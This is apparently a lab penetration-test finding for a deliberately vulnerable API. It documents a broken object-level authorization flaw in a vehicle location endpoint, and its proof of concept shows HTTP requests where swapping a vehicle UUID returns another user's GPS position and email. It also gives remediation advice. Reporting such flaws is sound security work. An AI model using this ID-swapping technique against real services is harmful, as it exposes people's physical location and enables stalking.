Broken Object Level Authorization - Vehicle - Location Tracking

Vulnerability

[FAIL] Broken Object Level Authorization - Vehicle - Location Tracking

Description

The vehicle location endpoint returns another user's GPS position given only a vehicle UUID. The server verifies authentication but does not verify object ownership (BOLA/IDOR).

Impact

Confidentiality: real-time physical location tracking of other users plus disclosure of their name and email; potential stalking/targeting.

CWE

CWE-639: Authorization Bypass Through User-Controlled Key

OWASP

API1:2023 - Broken Object Level Authorization

Scenario

Normal: the attacker reads the location of their own vehicle -> 200. Exploitation: the UUID is swapped for the victim's vehicle -> 200 returns the victim's location and email -> CIA (Confidentiality).

Endpoint

GET http://127.0.0.1:8888/identity/api/v2/vehicle/{vehicleId}/location

Affected feature

Vehicle Location Tracking (crapi-identity)

Remediation

- Verify vehicle ownership against the user in the token before returning the location. - Apply centralized object-level authorization checks.

Proof of concept

1. (Screenshot 1) NORMAL: GET /identity/api/v2/vehicle/9b3ce26b-d797-404b-a961-09d7e45e0d1b/location (own vehicle) with the attacker token -> 200.
2. (Screenshot 2) EXPLOITATION + CIA: replace the UUID in the path with 8ba9066d-8484-4ef7-8a7b-c0fa3cb2e687 (the VICTIM's vehicle), same token -> 200 returns GPS coordinates and the victim's email ([REDACTED-EMAIL]).

The complete record

LAB All targets are lab systems. Nothing here is a client engagement. Evidence is shown as recorded; secrets are blacked out.

Normal: own vehicle location

Normal flow: the attacker requests the location of their own vehicle (uuid 9b3ce26b-d797-404b-a961-09d7e45e0d1b) and receives 200. This is the expected behavior.

HTTP request

GET /identity/api/v2/vehicle/9b3ce26b-d797-404b-a961-09d7e45e0d1b/location HTTP/1.1
Host: 127.0.0.1:8888
Authorization: Bearer [REDACTED-LAB-TOKEN]

HTTP response

HTTP/1.1 200
Server: openresty/1.27.1.2
Content-Type: application/json
Content-Length: 177

{
  "carId": "9b3ce26b-d797-404b-a961-09d7e45e0d1b",
  "vehicleLocation": {
    "id": 4,
    "latitude": "38.206348",
    "longitude": "-84.270172"
  },
  "fullName": "Muhammad Faqih",
  "email": "[REDACTED-EMAIL]"
}

Impact: victim's location exposed

Impact: changing the vehicle UUID to the victim's UUID (8ba9066d-8484-4ef7-8a7b-c0fa3cb2e687), while keeping the same attacker token, returns 200 with the victim's GPS coordinates and email. This compromises confidentiality by allowing another user's physical location to be tracked.

HTTP request

GET /identity/api/v2/vehicle/8ba9066d-8484-4ef7-8a7b-c0fa3cb2e687/location HTTP/1.1
Host: 127.0.0.1:8888
Authorization: Bearer [REDACTED-LAB-TOKEN]

HTTP response

HTTP/1.1 200
Server: openresty/1.27.1.2
Content-Type: application/json
Content-Length: 178

{
  "carId": "8ba9066d-8484-4ef7-8a7b-c0fa3cb2e687",
  "vehicleLocation": {
    "id": 5,
    "latitude": "37.406769",
    "longitude": "-94.705528"
  },
  "fullName": "Muhammad Faqih",
  "email": "[REDACTED-EMAIL]"
}

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